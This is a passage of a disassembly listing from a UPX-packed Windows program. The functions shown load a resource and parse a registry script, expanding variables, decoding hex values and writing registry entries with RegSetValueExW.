; CODE XREF: sub_40775B+8j ; sub_40775B+Cj ... xor eax, eax locret_4077E6: ; CODE XREF: sub_40775B+87j retn 4 sub_40775B endp ; =============== S U B R O U T I N E ======================================= sub_4077E9 proc near ; DATA XREF: UPX0:00424BE0o xor eax, eax inc eax retn 4 sub_4077E9 endp ; =============== S U B R O U T I N E ======================================= sub_4077EF proc near ; CODE XREF: sub_407823+3p ; sub_4089CE+6Cp ... push esi mov esi, ecx push esi mov dword ptr [esi], offset off_424BDC call sub_407A4C lea eax, [esi+10h] cmp byte ptr [eax+18h], 0 jz short loc_407812 push eax mov byte ptr [eax+18h], 0 call dword_41D1C8 ; RtlDeleteCriticalSection loc_407812: ; CODE XREF: sub_4077EF+16j add esi, 4 mov eax, esi call sub_4076FC call sub_40A21F pop esi retn sub_4077EF endp ; =============== S U B R O U T I N E ======================================= sub_407823 proc near ; DATA XREF: UPX0:00424BF0o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4077EF test [esp+4+arg_0], 1 jz short loc_407839 push esi call sub_40AC11 pop ecx loc_407839: ; CODE XREF: sub_407823+Dj mov eax, esi pop esi retn 4 sub_407823 endp ; =============== S U B R O U T I N E ======================================= sub_40783F proc near ; CODE XREF: sub_4089CE+95p ; sub_4089CE+174p ... push 0 mov eax, offset loc_41C5CF call sub_40C46D cmp dword ptr [ebp+0Ch], 0 jz short loc_40789E cmp dword ptr [ebp+10h], 0 jz short loc_40789E mov esi, [ebp+8] lea edi, [esi+10h] push edi call dword_41D1CC ; RtlEnterCriticalSection call off_42A000 and dword ptr [ebp+8], 0 push dword ptr [ebp+10h] and dword ptr [ebp-4], 0 push dword ptr [ebp+0Ch] add esi, 4 push esi call sub_4075D2 push edi mov esi, eax call dword_41D204 ; RtlLeaveCriticalSection neg esi sbb esi, esi and esi, 7FF8FFF2h add esi, 8007000Eh mov eax, esi jmp short loc_4078A3 ; --------------------------------------------------------------------------- loc_40789E: ; CODE XREF: sub_40783F+10j ; sub_40783F+16j mov eax, 80070057h loc_4078A3: ; CODE XREF: sub_40783F+5Dj call sub_40C50C retn 0Ch sub_40783F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=408h sub_4078AB proc near ; CODE XREF: sub_4089CE+1D2p ; sub_408BAA+1B8p var_430 = dword ptr -430h var_42C = dword ptr -42Ch var_428 = dword ptr -428h var_424 = dword ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_414 = dword ptr -414h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h var_4 = dword ptr -4 push ebp sub esp, 404h lea ebp, [esp-4] mov eax, dword_42A034 xor eax, ebp mov [ebp+408h+var_4], eax push 1Ch mov eax, offset loc_41C690 call sub_40C4A0 mov eax, [ebp+414h] mov edi, ecx mov ebx, edx mov [ebp+408h+var_41C], eax call off_42A000 xor esi, esi mov [ebp+408h+var_430], esi mov eax, [ebp+410h] mov [ebp+408h+var_40C], esi mov [ebp+408h+var_428], eax mov [ebp+408h+var_42C], esi mov [ebp+408h+var_408], esi push 2 push esi push edi mov byte ptr [ebp+408h+var_40C], 1 call dword_41D068 ; LoadLibraryExW mov [ebp+408h+var_420], eax cmp eax, esi jnz short loc_40791A call sub_40119F mov esi, eax jmp loc_407A15 ; --------------------------------------------------------------------------- loc_40791A: ; CODE XREF: sub_4078AB+61j push [ebp+408h+var_41C] push ebx push eax call dword_41D108 ; FindResourceW mov edi, eax cmp edi, esi jnz short loc_407935 loc_40792B: ; CODE XREF: sub_4078AB+99j ; sub_4078AB+13Fj call sub_40119F jmp loc_407A0A ; --------------------------------------------------------------------------- loc_407935: ; CODE XREF: sub_4078AB+7Ej push edi push [ebp+408h+var_420] call dword_41D060 ; LoadResource mov [ebp+408h+var_424], eax cmp eax, esi jz short loc_40792B push edi push [ebp+408h+var_420] call dword_41D088 ; SizeofResource mov edi, eax lea eax, [edi+1] mov [ebp+408h+var_41C], edi cmp eax, edi jnb short loc_407976 lea eax, [ebp+408h+var_404] cmp [ebp+408h+var_408], eax jz short loc_40796C lea eax, [ebp+408h+var_408] call sub_40A2EA loc_40796C: ; CODE XREF: sub_4078AB+B7j mov eax, 8007000Eh jmp loc_407A27 ; --------------------------------------------------------------------------- loc_407976: ; CODE XREF: sub_4078AB+AFj push 2 pop ecx mul ecx mov byte ptr [ebp+408h+var_40C], 2 cmp edx, esi ja short loc_407988 cmp eax, 0FFFFFFFFh jbe short loc_407992 loc_407988: ; CODE XREF: sub_4078AB+D6j push 80070057h call sub_4010D8 ; --------------------------------------------------------------------------- loc_407992: ; CODE XREF: sub_4078AB+DBj cmp eax, 400h jbe short loc_4079B9 push eax lea eax, [ebp+408h+var_408] push eax call sub_40A495 jmp short loc_4079BF ; --------------------------------------------------------------------------- loc_4079A5: ; DATA XREF: UPX0:00427B44o mov [ebp+408h+var_40C], 1 mov eax, offset loc_4079B2 retn ; --------------------------------------------------------------------------- loc_4079B2: ; DATA XREF: sub_4078AB+101o mov edi, [ebp+408h+var_41C] xor esi, esi jmp short loc_4079C6 ; --------------------------------------------------------------------------- loc_4079B9: ; CODE XREF: sub_4078AB+ECj lea eax, [ebp+408h+var_404] mov [ebp+408h+var_408], eax loc_4079BF: ; CODE XREF: sub_4078AB+F8j mov [ebp+408h+var_40C], 1 loc_4079C6: ; CODE XREF: sub_4078AB+10Cj mov ebx, [ebp+408h+var_408] cmp ebx, esi jnz short loc_4079D4 mov esi, 8007000Eh jmp short loc_407A0C ; --------------------------------------------------------------------------- loc_4079D4: ; CODE XREF: sub_4078AB+120j call off_42A000 push edi push ebx push edi push [ebp+408h+var_424] push esi push eax call dword_41D1F4 ; MultiByteToWideChar cmp eax, esi jz loc_40792B mov edx, [ebp+408h+var_408] push dword ptr [ebp+418h] xor ecx, ecx mov [edx+eax*2], cx mov ecx, [ebp+408h+var_408] lea edx, [ebp+408h+var_42C] call sub_408297 loc_407A0A: ; CODE XREF: sub_4078AB+85j mov esi, eax loc_407A0C: ; CODE XREF: sub_4078AB+127j push [ebp+408h+var_420] call dword_41D05C ; FreeLibrary loc_407A15: ; CODE XREF: sub_4078AB+6Aj lea eax, [ebp+408h+var_404] cmp [ebp+408h+var_408], eax jz short loc_407A25 lea eax, [ebp+408h+var_408] call sub_40A2EA loc_407A25: ; CODE XREF: sub_4078AB+170j mov eax, esi loc_407A27: ; CODE XREF: sub_4078AB+C6j mov ecx, [ebp+408h+var_414] mov large fs:0, ecx pop ecx pop edi pop esi pop ebx mov ecx, [ebp+408h+var_4] xor ecx, ebp call sub_40AC1C add ebp, 408h leave retn 0Ch sub_4078AB endp ; =============== S U B R O U T I N E ======================================= sub_407A4C proc near ; CODE XREF: sub_4077EF+Ap ; DATA XREF: UPX0:00424BECo arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi lea edi, [esi+10h] push edi call dword_41D1CC ; RtlEnterCriticalSection lea eax, [esi+4] call sub_4076FC push edi mov esi, eax call dword_41D204 ; RtlLeaveCriticalSection pop edi mov eax, esi pop esi retn 4 sub_407A4C endp ; =============== S U B R O U T I N E ======================================= sub_407A74 proc near ; CODE XREF: sub_4080FF+118p arg_0 = dword ptr 4 push ebx push esi mov esi, eax push edi lea ebx, [esi+10h] push ebx call dword_41D1CC ; RtlEnterCriticalSection add esi, 4 xor edi, edi cmp [esi+8], edi jle short loc_407AA7 loc_407A8D: ; CODE XREF: sub_407A74+31j mov eax, [esi] push [esp+0Ch+arg_0] mov eax, [eax+edi*4] push eax call dword_41D0A0 ; lstrcmpiW test eax, eax jz short loc_407AB3 inc edi cmp edi, [esi+8] jl short loc_407A8D loc_407AA7: ; CODE XREF: sub_407A74+17j or eax, 0FFFFFFFFh loc_407AAA: ; CODE XREF: sub_407A74+41j cmp eax, 0FFFFFFFFh jnz short loc_407AB7 xor esi, esi jmp short loc_407AC0 ; --------------------------------------------------------------------------- loc_407AB3: ; CODE XREF: sub_407A74+2Bj mov eax, edi jmp short loc_407AAA ; --------------------------------------------------------------------------- loc_407AB7: ; CODE XREF: sub_407A74+39j mov ecx, esi call sub_40A246 mov esi, [eax] loc_407AC0: ; CODE XREF: sub_407A74+3Dj push ebx call dword_41D204 ; RtlLeaveCriticalSection pop edi mov eax, esi pop esi pop ebx retn 4 sub_407A74 endp ; =============== S U B R O U T I N E ======================================= sub_407ACF proc near ; CODE XREF: sub_407CD3+7Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 test byte ptr dword_42F108, 1 jnz short loc_407B2D or dword_42F108, 1 push 8 pop eax mov word_42F0EC, ax mov eax, 4008h push 13h mov word_42F0F4, ax pop eax push 11h mov word_42F0FC, ax pop eax mov dword_42F0E8, offset dword_41EF48 mov dword_42F0F0, offset dword_41EF50 mov dword_42F0F8, offset dword_41EF58 mov dword_42F100, offset dword_41EF60 mov word_42F104, ax loc_407B2D: ; CODE XREF: sub_407ACF+7j push esi xor esi, esi loc_407B30: ; CODE XREF: sub_407ACF+7Aj push dword_42F0E8[esi*8] push [esp+8+arg_0] call dword_41D0A0 ; lstrcmpiW test eax, eax jz short loc_407B4F inc esi cmp esi, 4 jb short loc_407B30 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_407B4F: ; CODE XREF: sub_407ACF+74j mov ax, word_42F0EC[esi*8] mov ecx, [esp+4+arg_4] mov [ecx], ax xor eax, eax inc eax pop esi retn sub_407ACF endp ; =============== S U B R O U T I N E ======================================= sub_407B63 proc near ; CODE XREF: sub_4080FF+E3p ; sub_4083DE+D1p ... arg_0 = word ptr 4 push esi xor esi, esi test eax, eax jnz short loc_407B7A pop esi retn ; --------------------------------------------------------------------------- loc_407B6C: ; CODE XREF: sub_407B63+1Dj cmp cx, [esp+4+arg_0] jz short loc_407B84 push eax call dword_41D31C ; CharNextW loc_407B7A: ; CODE XREF: sub_407B63+5j movzx ecx, word ptr [eax] test cx, cx jnz short loc_407B6C jmp short loc_407B86 ; --------------------------------------------------------------------------- loc_407B84: ; CODE XREF: sub_407B63+Ej mov esi, eax loc_407B86: ; CODE XREF: sub_407B63+1Fj mov eax, esi pop esi retn sub_407B63 endp ; =============== S U B R O U T I N E ======================================= sub_407B8A proc near ; CODE XREF: sub_407B8A+22j ; sub_407BAF+Bp ... mov eax, [esi] movzx ecx, word ptr [eax] cmp ecx, 9 jl short locret_407BAE cmp ecx, 0Ah jle short loc_407BA3 cmp ecx, 0Dh jz short loc_407BA3 cmp ecx, 20h jnz short locret_407BAE loc_407BA3: ; CODE XREF: sub_407B8A+Dj ; sub_407B8A+12j push eax call dword_41D31C ; CharNextW mov [esi], eax jmp short sub_407B8A ; --------------------------------------------------------------------------- locret_407BAE: ; CODE XREF: sub_407B8A+8j ; sub_407B8A+17j retn sub_407B8A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BAF proc near ; CODE XREF: sub_407CD3+67p ; sub_407CD3+A1p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, ecx mov ebx, eax call sub_407B8A mov eax, [esi] movzx ecx, word ptr [eax] xor edx, edx cmp dx, cx jnz short loc_407BD5 mov eax, 80020009h jmp loc_407CC8 ; --------------------------------------------------------------------------- loc_407BD5: ; CODE XREF: sub_407BAF+1Aj push edi push 27h pop edx mov [ebp+var_8], ebx cmp dx, cx jnz loc_407C6D mov edi, dword_41D31C push eax call edi ; dword_41D31C mov [esi], eax jmp short loc_407C50 ; --------------------------------------------------------------------------- loc_407BF2: ; CODE XREF: sub_407BAF+A6j mov eax, [esi] push 27h pop ecx cmp cx, [eax] jnz short loc_407C07 push eax call edi ; dword_41D31C push 27h pop ecx cmp cx, [eax] jnz short loc_407C57 loc_407C07: ; CODE XREF: sub_407BAF+4Bj mov eax, [esi] push 27h pop ecx cmp cx, [eax] jnz short loc_407C16 push eax call edi ; dword_41D31C mov [esi], eax loc_407C16: ; CODE XREF: sub_407BAF+60j mov eax, [esi] push eax mov [ebp+var_4], eax call edi ; dword_41D31C mov edx, [ebp+var_8] mov [esi], eax sub eax, [ebp+var_4] add edx, 2000h sar eax, 1 lea ecx, [ebx+eax*2+2] cmp ecx, edx jnb loc_407CCC test eax, eax jle short loc_407C4E mov ecx, [ebp+var_4] loc_407C41: ; CODE XREF: sub_407BAF+9Dj mov dx, [ecx] mov [ebx], dx inc ebx inc ebx inc ecx inc ecx dec eax jnz short loc_407C41 loc_407C4E: ; CODE XREF: sub_407BAF+8Dj mov eax, [esi] loc_407C50: ; CODE XREF: sub_407BAF+41j xor ecx, ecx cmp cx, [eax] jnz short loc_407BF2 loc_407C57: ; CODE XREF: sub_407BAF+56j mov eax, [esi] xor ecx, ecx cmp cx, [eax] jz short loc_407CCC xor eax, eax mov [ebx], ax push dword ptr [esi] call edi ; dword_41D31C mov [esi], eax jmp short loc_407CC5 ; --------------------------------------------------------------------------- loc_407C6D: ; CODE XREF: sub_407BAF+30j ; sub_407BAF+10Fj mov eax, [esi] movzx ecx, word ptr [eax] cmp ecx, 9 jl short loc_407C86 cmp ecx, 0Ah jle short loc_407CC0 cmp ecx, 0Dh jz short loc_407CC0 cmp ecx, 20h jz short loc_407CC0 loc_407C86: ; CODE XREF: sub_407BAF+C6j push eax mov edi, eax call dword_41D31C ; CharNextW mov edx, [ebp+var_8] mov [esi], eax sub eax, edi sar eax, 1 lea ecx, [ebx+eax*2+2] add edx, 2000h cmp ecx, edx jnb short loc_407CCC test eax, eax jle short loc_407CB7 loc_407CAA: ; CODE XREF: sub_407BAF+106j mov cx, [edi] mov [ebx], cx inc ebx inc ebx inc edi inc edi dec eax jnz short loc_407CAA loc_407CB7: ; CODE XREF: sub_407BAF+F9j mov eax, [esi] xor ecx, ecx cmp cx, [eax] jnz short loc_407C6D loc_407CC0: ; CODE XREF: sub_407BAF+CBj ; sub_407BAF+D0j ... xor eax, eax mov [ebx], ax loc_407CC5: ; CODE XREF: sub_407BAF+BCj xor eax, eax loc_407CC7: ; CODE XREF: sub_407BAF+122j pop edi loc_407CC8: ; CODE XREF: sub_407BAF+21j pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_407CCC: ; CODE XREF: sub_407BAF+85j ; sub_407BAF+AFj ... mov eax, 80020009h jmp short loc_407CC7 sub_407BAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=2108h sub_407CD3 proc near ; CODE XREF: sub_4083DE+218p ; sub_4083DE+3A8p var_2130 = dword ptr -2130h var_212C = dword ptr -212Ch var_2128 = dword ptr -2128h var_2124 = dword ptr -2124h var_2120 = dword ptr -2120h var_211C = dword ptr -211Ch var_2118 = dword ptr -2118h var_2114 = dword ptr -2114h var_210C = dword ptr -210Ch var_2108 = dword ptr -2108h var_2104 = byte ptr -2104h var_2004 = word ptr -2004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp lea ebp, [esp-2108h] mov eax, 2108h call sub_40E000 push 0FFFFFFFFh push offset loc_41C2B2 mov eax, large fs:0 push eax sub esp, 1Ch mov eax, dword_42A034 xor eax, ebp mov [ebp+2108h+var_4], eax push ebx push esi push edi push eax lea eax, [ebp+2108h+var_2114] mov large fs:0, eax mov [ebp+2108h+var_2118], esp mov eax, [ebp+2108h+arg_0] mov [ebp+2108h+var_2124], eax mov eax, [ebp+2108h+arg_4] mov esi, ecx mov edi, edx mov [ebp+2108h+var_2130], eax xor ebx, ebx lea eax, [ebp+2108h+var_2004] mov [ebp+2108h+var_2128], esi mov [ebp+2108h+var_2120], edi mov [ebp+2108h+var_211C], ebx call sub_407BAF cmp eax, ebx jl loc_408014 lea eax, [ebp+2108h+var_211C] push eax lea eax, [ebp+2108h+var_2004] push eax call sub_407ACF pop ecx pop ecx test eax, eax jnz short loc_407D67 mov eax, 80020009h jmp loc_408014 ; --------------------------------------------------------------------------- loc_407D67: ; CODE XREF: sub_407CD3+88j call sub_407B8A lea eax, [ebp+2108h+var_2004] mov ecx, esi call sub_407BAF cmp eax, ebx jl loc_408014 movzx eax, word ptr [ebp+2108h+var_211C] sub eax, 8 jz loc_407FCD sub eax, 9 jz loc_407EAC dec eax dec eax jz loc_407E80 sub eax, 3FF5h jnz loc_408003 lea eax, [ebp+2108h+var_2004] push eax call dword_41D1F0 ; lstrlenW inc eax inc eax mov [ebp+2108h+var_2108], ebx push 2 pop ecx mul ecx mov [ebp+2108h+var_210C], ebx mov byte ptr [ebp+2108h+var_210C], 1 cmp edx, ebx ja short loc_407DD1 cmp eax, 0FFFFFFFFh jbe short loc_407DDB loc_407DD1: ; CODE XREF: sub_407CD3+F7j ; sub_407CD3+213j ... push 80070057h call sub_4010D8 ; --------------------------------------------------------------------------- loc_407DDB: ; CODE XREF: sub_407CD3+FCj cmp eax, 100h jbe short loc_407DF8 push eax lea eax, [ebp+2108h+var_2108] push eax call sub_40A495 jmp short loc_407DFE ; --------------------------------------------------------------------------- loc_407DEE: ; DATA XREF: UPX0:00427454o mov eax, offset loc_407DF4 retn ; --------------------------------------------------------------------------- loc_407DF4: ; DATA XREF: sub_407CD3:loc_407DEEo xor ebx, ebx jmp short loc_407DFE ; --------------------------------------------------------------------------- loc_407DF8: ; CODE XREF: sub_407CD3+10Dj lea eax, [ebp+2108h+var_2104] mov [ebp+2108h+var_2108], eax loc_407DFE: ; CODE XREF: sub_407CD3+119j ; sub_407CD3+123j mov esi, [ebp+2108h+var_2108] cmp esi, ebx jz short loc_407E64 lea edi, [ebp+2108h+var_2004] cmp [ebp+2108h+var_2004], bx jz short loc_407E49 mov ebx, dword_41D31C loc_407E1A: ; CODE XREF: sub_407CD3+172j push edi call ebx ; dword_41D31C movzx ecx, word ptr [edi] cmp cx, 5Ch jnz short loc_407E3A cmp word ptr [eax], 30h jnz short loc_407E3A xor ecx, ecx mov [esi], cx inc esi push eax inc esi call ebx ; dword_41D31C mov edi, eax jmp short loc_407E41 ; --------------------------------------------------------------------------- loc_407E3A: ; CODE XREF: sub_407CD3+151j ; sub_407CD3+157j mov [esi], cx inc esi inc esi inc edi inc edi loc_407E41: ; CODE XREF: sub_407CD3+165j cmp word ptr [edi], 0 jnz short loc_407E1A xor ebx, ebx loc_407E49: ; CODE XREF: sub_407CD3+13Fj xor eax, eax mov [esi], ax mov [esi+2], ax push [ebp+2108h+var_2108] push [ebp+2108h+var_2124] push [ebp+2108h+var_2120] call sub_407430 mov esi, eax jmp short loc_407E67 ; --------------------------------------------------------------------------- loc_407E64: ; CODE XREF: sub_407CD3+130j push 0Eh pop esi loc_407E67: ; CODE XREF: sub_407CD3+18Fj lea eax, [ebp+2108h+var_2104] cmp [ebp+2108h+var_2108], eax jz loc_407FF6 lea eax, [ebp+2108h+var_2108] call sub_40A2EA jmp loc_407FF6 ; --------------------------------------------------------------------------- loc_407E80: ; CODE XREF: sub_407CD3+C6j call off_42A000 lea eax, [ebp+2108h+var_2120] push eax push ebx push ebx lea eax, [ebp+2108h+var_2004] push eax call dword_41D22C mov eax, [ebp+2108h+var_2120] mov [ebp+2108h+var_211C], eax push 4 lea eax, [ebp+2108h+var_211C] push eax push 4 jmp loc_407FE8 ; --------------------------------------------------------------------------- loc_407EAC: ; CODE XREF: sub_407CD3+BEj lea eax, [ebp+2108h+var_2004] push eax call dword_41D1F0 ; lstrlenW mov [ebp+2108h+var_211C], eax test al, 1 jz short loc_407ECA loc_407EC0: ; CODE XREF: sub_407CD3+253j ; sub_407CD3+25Dj mov eax, 80004005h jmp loc_408014 ; --------------------------------------------------------------------------- loc_407ECA: ; CODE XREF: sub_407CD3+1EBj cdq sub eax, edx mov edi, eax sar edi, 1 mov [ebp+2108h+var_212C], edi mov [ebp+2108h+var_2108], ebx xor eax, eax mov [ebp+2108h+var_210C], 3 mov byte ptr [ebp+2108h+var_210C], 4 cmp eax, ebx ja loc_407DD1 cmp edi, 0FFFFFFFFh ja loc_407DD1 cmp edi, 100h jbe short loc_407F16 push edi lea eax, [ebp+2108h+var_2108] push eax call sub_40A495 jmp short loc_407F1C ; --------------------------------------------------------------------------- loc_407F09: ; DATA XREF: UPX0:00427464o mov eax, offset loc_407F0F retn ; --------------------------------------------------------------------------- loc_407F0F: ; DATA XREF: sub_407CD3:loc_407F09o mov edi, [ebp+2108h+var_212C] xor ebx, ebx jmp short loc_407F1C ; --------------------------------------------------------------------------- loc_407F16: ; CODE XREF: sub_407CD3+228j lea eax, [ebp+2108h+var_2104] mov [ebp+2108h+var_2108], eax loc_407F1C: ; CODE XREF: sub_407CD3+234j ; sub_407CD3+241j cmp [ebp+2108h+var_2108], ebx jnz short loc_407F32 lea eax, [ebp+2108h+var_2104] test eax, eax jz short loc_407EC0 lea eax, [ebp+2108h+var_2108] call sub_40A2EA jmp short loc_407EC0 ; --------------------------------------------------------------------------- loc_407F32: ; CODE XREF: sub_407CD3+24Cj push edi push ebx push [ebp+2108h+var_2108] call sub_40BD40 add esp, 0Ch xor esi, esi cmp [ebp+2108h+var_211C], ebx jle short loc_407FA3 loc_407F46: ; CODE XREF: sub_407CD3+2CCj movzx ecx, [ebp+esi*2+2108h+var_2004] mov eax, esi cdq sub eax, edx sar eax, 1 add eax, [ebp+2108h+var_2108] movzx edx, cx cmp edx, 30h jl short loc_407F88 cmp edx, 39h jle short loc_407F81 cmp edx, 40h jle short loc_407F88 cmp edx, 46h jle short loc_407F7C add edx, 0FFFFFF9Fh cmp edx, 5 ja short loc_407F88 sub cl, 57h jmp short loc_407F84 ; --------------------------------------------------------------------------- loc_407F7C: ; CODE XREF: sub_407CD3+29Aj sub cl, 37h jmp short loc_407F84 ; --------------------------------------------------------------------------- loc_407F81: ; CODE XREF: sub_407CD3+290j sub cl, 30h loc_407F84: ; CODE XREF: sub_407CD3+2A7j ; sub_407CD3+2ACj mov dl, cl jmp short loc_407F8A ; --------------------------------------------------------------------------- loc_407F88: ; CODE XREF: sub_407CD3+28Bj ; sub_407CD3+295j ... xor dl, dl loc_407F8A: ; CODE XREF: sub_407CD3+2B3j mov ebx, esi and ebx, 1 shl ebx, 2 push 4 pop ecx sub ecx, ebx shl dl, cl or [eax], dl inc esi cmp esi, [ebp+2108h+var_211C] jl short loc_407F46 xor ebx, ebx loc_407FA3: ; CODE XREF: sub_407CD3+271j mov eax, [ebp+2108h+var_2120] mov eax, [eax] push edi push [ebp+2108h+var_2108] push 3 push ebx push [ebp+2108h+var_2124] push eax call dword_41D018 ; RegSetValueExW mov esi, eax lea eax, [ebp+2108h+var_2104] cmp [ebp+2108h+var_2108], eax jz short loc_407FF6 lea eax, [ebp+2108h+var_2108] call sub_40A2EA jmp short loc_407FF6 ; --------------------------------------------------------------------------- loc_407FCD: ; CODE XREF: sub_407CD3+B5j lea eax, [ebp+2108h+var_2004] push eax call dword_41D1F0 ; lstrlenW lea eax, [eax+eax+2] push eax lea eax, [ebp+2108h+var_2004] push eax push 1 loc_407FE8: ; CODE XREF: sub_407CD3+1D4j push ebx push [ebp+2108h+var_2124] push dword ptr [edi] call dword_41D018 ; RegSetValueExW mov esi, eax loc_407FF6: ; CODE XREF: sub_407CD3+19Aj ; sub_407CD3+1A8j ... cmp esi, ebx jz short loc_408003 mov eax, esi call sub_4072B2 jmp short loc_408014 ; --------------------------------------------------------------------------- loc_408003: ; CODE XREF: sub_407CD3+D1j ; sub_407CD3+325j mov eax, [ebp+2108h+var_2130] mov ecx, [ebp+2108h+var_2128] call sub_407BAF cmp eax, ebx jl short loc_408014 xor eax, eax loc_408014: ; CODE XREF: sub_407CD3+6Ej ; sub_407CD3+8Fj ... mov ecx, [ebp+2108h+var_2114] mov large fs:0, ecx pop ecx pop edi pop esi pop ebx mov ecx, [ebp+2108h+var_4] xor ecx, ebp call sub_40AC1C add ebp, 2108h leave retn 8 sub_407CD3 endp ; =============== S U B R O U T I N E ======================================= sub_408039 proc near ; CODE XREF: sub_4083DE+E0p ; sub_4083DE+503p arg_0 = dword ptr 4 push esi mov esi, offset off_423C6C loc_40803F: ; CODE XREF: sub_408039+1Fj push dword ptr [esi] push [esp+8+arg_0] call dword_41D0A0 ; lstrcmpiW test eax, eax jz short loc_408061 add esi, 4 cmp esi, offset a32770 ; "#32770" jl short loc_40803F xor eax, eax inc eax loc_40805D: ; CODE XREF: sub_408039+2Aj pop esi retn 4 ; --------------------------------------------------------------------------- loc_408061: ; CODE XREF: sub_408039+14j xor eax, eax jmp short loc_40805D sub_408039 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408065 proc near ; CODE XREF: sub_4083DE+4F5p ; sub_4083DE+532p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx xor eax, eax push eax push eax push eax push eax push eax push eax push eax lea ecx, [ebp+var_4] push ecx push eax push eax push eax push [ebp+arg_0] mov [ebp+var_4], eax call dword_41D004 ; RegQueryInfoKeyW test eax, eax jz short loc_40808D xor eax, eax jmp short locret_408096 ; --------------------------------------------------------------------------- loc_40808D: ; CODE XREF: sub_408065+22j xor eax, eax cmp eax, [ebp+var_4] sbb eax, eax neg eax locret_408096: ; CODE XREF: sub_408065+26j leave retn 4 sub_408065 endp ; =============== S U B R O U T I N E ======================================= sub_40809A proc near ; CODE XREF: sub_4083DE+118p ; sub_4083DE+291p ... arg_1FFC = dword ptr 2000h mov eax, 2004h call sub_40E000 mov eax, dword_42A034 xor eax, esp mov [esp+arg_1FFC], eax cmp word ptr [edi], 3Dh push esi mov esi, ecx jnz short loc_4080E7 mov eax, edi call sub_407BAF test eax, eax jl short loc_4080E9 call sub_407B8A lea eax, [esp+4] mov ecx, esi call sub_407BAF test eax, eax jl short loc_4080E9 mov eax, edi mov ecx, esi call sub_407BAF test eax, eax jl short loc_4080E9 loc_4080E7: ; CODE XREF: sub_40809A+1Fj xor eax, eax loc_4080E9: ; CODE XREF: sub_40809A+2Aj ; sub_40809A+3Ej ... mov ecx, [esp+4+arg_1FFC] pop esi xor ecx, esp call sub_40AC1C add esp, 2004h retn sub_40809A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4080FF proc near ; CODE XREF: sub_408297+2Cp push 60h mov eax, offset loc_41C65B call sub_40C4D6 mov esi, ecx mov edi, edx mov [ebp-64h], edi test esi, esi jz loc_40828C test edi, edi jz loc_40828C and dword ptr [edi], 0 push esi call dword_41D1F0 ; lstrlenW add eax, eax cmp eax, 64h jge short loc_408138 mov eax, 3E8h loc_408138: ; CODE XREF: sub_4080FF+32j and dword ptr [ebp-60h], 0 push 2 pop ecx mov [ebp-5Ch], eax mul ecx test edx, edx ja short loc_40814D cmp eax, 0FFFFFFFFh jbe short loc_408151 loc_40814D: ; CODE XREF: sub_4080FF+47j xor eax, eax jmp short loc_408158 ; --------------------------------------------------------------------------- loc_408151: ; CODE XREF: sub_4080FF+4Cj push eax call dword_41D3BC loc_408158: ; CODE XREF: sub_4080FF+50j xor ecx, ecx mov [ebp-58h], eax cmp eax, ecx jz short loc_408166 xor edx, edx mov [eax], dx loc_408166: ; CODE XREF: sub_4080FF+60j mov [ebp-4], ecx cmp eax, ecx jnz short loc_40817E push ecx call dword_41D39C mov eax, 8007000Eh jmp loc_408291 ; --------------------------------------------------------------------------- loc_40817E: ; CODE XREF: sub_4080FF+6Cj mov [ebx], esi mov [ebp-54h], ecx cmp [esi], cx jz short loc_4081C6 loc_408188: ; CODE XREF: sub_4080FF+C2j mov eax, [ebx] cmp word ptr [eax], 25h push eax jnz short loc_4081A0 call dword_41D31C ; CharNextW mov [ebx], eax cmp word ptr [eax], 25h jnz short loc_4081E0 push eax loc_4081A0: ; CODE XREF: sub_4080FF+90j xor edi, edi inc edi lea esi, [ebp-60h] call sub_40775B test eax, eax jz loc_408280 loc_4081B3: ; CODE XREF: sub_4080FF+150j ; sub_4080FF+164j push dword ptr [ebx] call dword_41D31C ; CharNextW mov [ebx], eax cmp word ptr [eax], 0 jnz short loc_408188 mov edi, [ebp-64h] loc_4081C6: ; CODE XREF: sub_4080FF+87j mov eax, [ebp-58h] and dword ptr [ebp-58h], 0 mov [edi], eax loc_4081CF: ; CODE XREF: sub_4080FF+170j ; sub_4080FF+17Cj ... push dword ptr [ebp-58h] call dword_41D39C mov eax, [ebp-54h] jmp loc_408291 ; --------------------------------------------------------------------------- loc_4081E0: ; CODE XREF: sub_4080FF+9Ej push 25h call sub_407B63 pop ecx mov [ebp-68h], eax test eax, eax jz short loc_408268 mov ecx, [ebx] sub eax, ecx sar eax, 1 cmp eax, 1Fh jg short loc_408274 push eax push ecx lea eax, [ebp-50h] push 20h push eax call sub_40B4EA push eax call sub_4010F0 ; --------------------------------------------------------------------------- add esp, 14h lea eax, [ebp-50h] push eax mov eax, [ebx+4] call sub_407A74 mov esi, eax test esi, esi jz short loc_408268 call off_42A000 and dword ptr [ebp-6Ch], 0 push esi mov byte ptr [ebp-4], 1 call dword_41D1F0 ; lstrlenW push esi mov edi, eax lea esi, [ebp-60h] call sub_40775B mov byte ptr [ebp-4], 0 test eax, eax jz short loc_408280 mov esi, [ebp-68h] cmp [ebx], esi jz loc_4081B3 loc_408255: ; CODE XREF: sub_4080FF+162j push dword ptr [ebx] call dword_41D31C ; CharNextW mov [ebx], eax cmp eax, esi jnz short loc_408255 jmp loc_4081B3 ; --------------------------------------------------------------------------- loc_408268: ; CODE XREF: sub_4080FF+EEj ; sub_4080FF+121j mov dword ptr [ebp-54h], 80020009h jmp loc_4081CF ; --------------------------------------------------------------------------- loc_408274: ; CODE XREF: sub_4080FF+F9j mov dword ptr [ebp-54h], 80004005h jmp loc_4081CF ; --------------------------------------------------------------------------- loc_408280: ; CODE XREF: sub_4080FF+AEj ; sub_4080FF+149j mov dword ptr [ebp-54h], 8007000Eh jmp loc_4081CF ; 